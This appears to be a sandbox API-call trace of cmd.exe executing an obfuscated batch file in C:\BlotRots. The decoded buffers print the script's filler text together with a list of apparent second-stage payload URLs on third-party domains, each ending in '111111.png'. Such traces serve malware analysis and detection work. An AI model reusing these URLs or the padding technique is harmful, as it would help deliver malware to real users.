[0233.177] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0233.177] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.177] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14e1 [0233.177] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x2d4, lpOverlapped=0x0) returned 1 [0233.177] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5354, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14ea [0233.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0233.178] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.178] GetFileType (hFile=0x9c) returned 0x1 [0233.178] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.178] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14ea [0233.178] GetProcessHeap () returned 0x20b0f920000 [0233.178] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.178] GetProcessHeap () returned 0x20b0f920000 [0233.178] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.178] _tell (_FileHandle=3) returned 5354 [0233.178] _close (_FileHandle=3) returned 0 [0233.179] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.179] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.179] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.179] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5354, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14ea [0233.179] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.179] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14ea [0233.179] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x2cb, lpOverlapped=0x0) returned 1 [0233.179] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5363, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14f3 [0233.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0233.179] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.180] GetFileType (hFile=0x9c) returned 0x1 [0233.180] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.180] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14f3 [0233.180] GetProcessHeap () returned 0x20b0f920000 [0233.180] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.180] GetProcessHeap () returned 0x20b0f920000 [0233.180] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.180] _tell (_FileHandle=3) returned 5363 [0233.180] _close (_FileHandle=3) returned 0 [0233.180] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0233.180] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0233.180] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.180] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5363, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14f3 [0233.180] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.180] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14f3 [0233.181] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x2c2, lpOverlapped=0x0) returned 1 [0233.181] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5449, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1549 [0233.181] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=86, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\r\n.3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 86 [0233.181] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.181] GetFileType (hFile=0x9c) returned 0x1 [0233.181] _get_osfhandle (_FileHandle=3) returned 0x9c [0233.181] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1549 [0233.181] GetProcessHeap () returned 0x20b0f920000 [0233.181] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0233.181] GetProcessHeap () returned 0x20b0f920000 [0233.181] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0233.181] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0233.182] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0233.182] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0233.182] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0233.182] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0233.182] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0233.182] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0233.182] GetProcessHeap () returned 0x20b0f920000 [0233.182] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0233.182] GetProcessHeap () returned 0x20b0f920000 [0233.182] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0233.182] GetProcessHeap () returned 0x20b0f920000 [0233.182] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa8) returned 0x20b0f9259d0 [0233.182] _tell (_FileHandle=3) returned 5449 [0233.182] _close (_FileHandle=3) returned 0 [0233.182] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0233.182] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.182] GetFileType (hFile=0x50) returned 0x2 [0233.182] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.182] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0233.184] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.184] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0233.209] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0233.209] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0233.209] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0233.209] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.209] GetFileType (hFile=0x50) returned 0x2 [0233.210] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.210] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0233.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.210] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0233.210] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.210] GetFileType (hFile=0x50) returned 0x2 [0233.210] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.211] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.211] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0233.211] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 76 [0233.211] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.211] GetFileType (hFile=0x50) returned 0x2 [0233.211] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.211] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0233.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.212] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4c) returned 1 [0233.212] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0233.212] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.212] GetFileType (hFile=0x50) returned 0x2 [0233.212] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0233.212] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0233.213] _get_osfhandle (_FileHandle=1) returned 0x50 [0233.213] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0233.217] malloc (_Size=0xffce) returned 0x20b0fa60940 [0233.217] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0233.218] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0233.218] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0233.218] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0233.218] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0233.218] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0233.218] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0233.218] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0233.218] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0233.218] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0233.218] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0233.218] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0233.218] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0233.218] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0233.218] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0233.218] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0233.218] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0233.218] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0233.218] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0233.218] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0233.218] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0233.218] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0233.218] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0233.218] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0233.218] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0233.218] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0233.218] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0233.218] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0233.219] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0233.219] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0233.219] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0233.219] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0233.219] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0233.219] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0233.219] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0233.219] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0233.219] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0233.219] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0233.219] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0233.219] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0233.219] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0233.219] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0233.219] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0233.219] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0233.219] malloc (_Size=0xffce) returned 0x20b0fa70920 [0233.219] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0233.220] GetProcessHeap () returned 0x20b0f920000 [0233.220] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0233.222] SetErrorMode (uMode=0x0) returned 0x0 [0233.222] SetErrorMode (uMode=0x1) returned 0x0 [0233.222] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0233.222] SetErrorMode (uMode=0x0) returned 0x1 [0233.222] GetProcessHeap () returned 0x20b0f920000 [0233.222] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0233.222] GetProcessHeap () returned 0x20b0f920000 [0233.222] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0233.222] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0233.222] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0233.222] GetProcessHeap () returned 0x20b0f920000 [0233.222] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0233.222] GetProcessHeap () returned 0x20b0f920000 [0233.222] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0233.222] GetProcessHeap () returned 0x20b0f920000 [0233.222] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0233.222] GetProcessHeap () returned 0x20b0f920000 [0233.222] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0233.223] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0233.223] GetProcessHeap () returned 0x20b0f920000 [0233.223] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946fb0 [0233.223] GetProcessHeap () returned 0x20b0f920000 [0233.223] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946fb0, Size=0x7e) returned 0x20b0f956ac0 [0233.223] GetProcessHeap () returned 0x20b0f920000 [0233.223] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956ac0) returned 0x7e [0233.223] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.223] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d2d0 [0233.223] FindClose (in: hFindFile=0x20b0f92d2d0 | out: hFindFile=0x20b0f92d2d0) returned 1 [0233.223] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.223] GetLastError () returned 0x2 [0233.223] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.224] GetLastError () returned 0x2 [0233.224] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.224] GetLastError () returned 0x2 [0233.224] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.224] GetLastError () returned 0x2 [0233.224] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.224] GetLastError () returned 0x2 [0233.224] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.224] GetLastError () returned 0x2 [0233.224] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.225] GetLastError () returned 0x2 [0233.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.225] GetLastError () returned 0x2 [0233.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.225] GetLastError () returned 0x2 [0233.225] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.225] GetLastError () returned 0x2 [0233.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.226] GetLastError () returned 0x2 [0233.226] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.226] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.226] GetLastError () returned 0x2 [0233.226] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.226] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d1b0 [0233.226] FindClose (in: hFindFile=0x20b0f92d1b0 | out: hFindFile=0x20b0f92d1b0) returned 1 [0233.227] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.227] GetLastError () returned 0x2 [0233.227] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.227] GetLastError () returned 0x2 [0233.227] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.227] GetLastError () returned 0x2 [0233.227] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.227] GetLastError () returned 0x2 [0233.227] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.228] GetLastError () returned 0x2 [0233.228] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.228] GetLastError () returned 0x2 [0233.228] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.228] GetLastError () returned 0x2 [0233.228] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.228] GetLastError () returned 0x2 [0233.228] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.228] GetLastError () returned 0x2 [0233.228] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.229] GetLastError () returned 0x2 [0233.229] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0233.229] GetLastError () returned 0x2 [0233.229] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0233.229] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff 